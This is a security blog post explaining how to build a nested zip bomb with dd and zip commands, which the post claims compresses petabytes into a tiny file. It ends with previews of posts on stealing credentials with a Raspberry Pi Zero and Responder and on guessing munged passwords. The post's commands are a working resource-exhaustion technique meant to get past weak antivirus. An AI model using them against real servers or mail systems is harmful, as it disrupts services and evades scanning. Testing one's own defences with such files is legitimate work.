Skip to main content

Zip Bombs

Zip bombs aren't new. Since the days of bulletin board systems people have been highly compressing implausibly large files and transferring them to target machines to consume resources.

Machines these days can handle much larger files and have ever larger amounts of RAM to process them, but zip bombs can still be very useful to an attacker in bypassing weak antivirus or filling up poorly protected servers. Some antivirus software will try to expand the zip file to scan it, using a lot of resources. Others don't try to expand huge files and simply let them through. Either of these options don't really protect us.

There was a zip file going around a year or two ago called 42.zip which expands to about 4.5PB. It's good, but can we do better?

The most efficient thing to compress is a string of 00000000's. So let's start with a GB of nothing.

 dd if=/dev/zero bs=1024 count=1048576 

And less squeeze that as much as possible

dd if=/dev/zero bs=1024 count=1048576 | zip -9 -q zipbomb.zip -
Now let's make 10 of those zip files and zip them up into a new zip file.

cp zipbomb.zip 0.zip
cp zipbomb.zip 1.zip
cp zipbomb.zip 2.zip
cp zipbomb.zip 3.zip
cp zipbomb.zip 4.zip
cp zipbomb.zip 5.zip
cp zipbomb.zip 6.zip
cp zipbomb.zip 7.zip
cp zipbomb.zip 8.zip
cp zipbomb.zip 9.zip
rm zipbomb.zip
zip -9 -q zipbomb.zip *.zip

Now rinse and repeat that last step 7 times.

That should give you a 28k zip file that contains 10PB of useless data. Yup, that's right, half the size and twice the data. You can check it out here.

I've put my little shell script up on github if you want to take a look.

How do you use it? Well mail it through your mail server and see if it makes it...
Labels:

Comments

Post a Comment

Popular posts from this blog

Snagging creds with Raspberry Pi Zero and Responder

So this is not all my own original work. This is a bringing together of the ethernet gadget tutorial by lady ada at adafruit and the beautiful work by Mubix at room362 which uses Laurent Gaffie's from SpiderLabs responder.py scripts. I'm still using Mubix's recipe of USB Ethernet + DHCP + Responder == Creds but here we are using a £4.00 Raspberry Pi Zero instead of the USB armoury or the HAK5 LAN turtle. Both are awesome products. Please note that this only works on the RPi Zero. Other RPi's will not work!   1.0 Setup the the RPi Zero for Ethernet over USB Download and install the latest Jessie Lite from here onto an SD Card. Pop the card out of the card reader and re-insert it to mount it. Take your favorite text editor and edit the following two files in the boot partition. config.txt Go to the bottom and add dtoverlay=dwc2 as the last line: Save the config.txt file. cmdline.txt After rootwait (the last word on the first line) add a spa...
3 comments
Read more

HoneyPot WarGames - The Hackers Dictionary

Every year security companies are coming up with the “worst passwords” based on breached credentials found on in the murkier parts of the internet. Every year people seem surprised that “123456” is a terrible password and people are still using it. Passwords often get rated by how quickly the could be “cracked”. The length of time for cracking passwords in the real world varies wildly according the the context and the numbers are often confusing. NordPass recently published their list of most common passwords and claimed that the third most popular password was “picture1” and it would take 3 hours to crack. If that’s referring to offline password cracking then we should have a whip-round to upgrade the hackers hardware because a password like that should take seconds to crack. When hackers try to brute force their way into an account online they have to try lots of different password combinations until they get in, or just give up. This takes a lot of time so hackers spend time optimiz...
Post a Comment
Read more

Munging Passwords

Password munging is the art of changing a word that is easy to remember until it becomes a strong password. This is how most people make up passwords. Munge stands for M odify U ntil N ot G uessed E asily. The trouble is that it doesn't work very well. We can guess the modifications. Password selection. Take the average office worker that is told that it's time to change their password and come up with a new one. They have just been on holiday to New York with their family and so following common advice they choose that as their password. newyork No! They are told they must include capital letters NewYork No! They are told they must include numbers N3wY0rk No! They are told they must include a special character N3wY0rk! There, now that's a password that meets security requirements and our office worker can get on with their actual job instead of playing with passwords. Scripting similar munges There are a number of ways that they could munge the...
Post a Comment
Read more